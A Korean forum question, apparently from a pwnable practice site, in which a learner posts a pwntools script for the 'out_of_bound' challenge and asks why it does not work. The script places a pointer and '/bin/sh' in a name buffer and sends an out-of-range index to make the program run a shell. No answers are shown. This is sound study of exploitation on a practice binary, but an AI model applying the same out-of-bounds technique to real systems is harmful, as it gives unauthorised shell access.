왜 안되는지 너무 이해가 안가요 ㅜㅜ

from pwn import *

context.log_level='debug'

def slog(name,addr) : return success(name + " : " + hex(addr))

p=process('./out_of_bound')
e=ELF('./out_of_bound')

command_addr=e.symbols['command']
name_addr=e.symbols['name']
distance=name_addr-command_addr

slog('name_addr',name_addr)

p.recv()
name=p32(name_addr+4)+b'/bin/sh\x00'
p.sendline(name)

p.recv()
p.sendline(b'19')

이 코드로 하면 왜 안되는지 궁금합니다 ㅜㅜㅜ

                                                                                                                                                                                                                                                                                                                                                                                                        ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~                                                                                                                                    ~
#pwnable
작성자 정보
답변 0
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기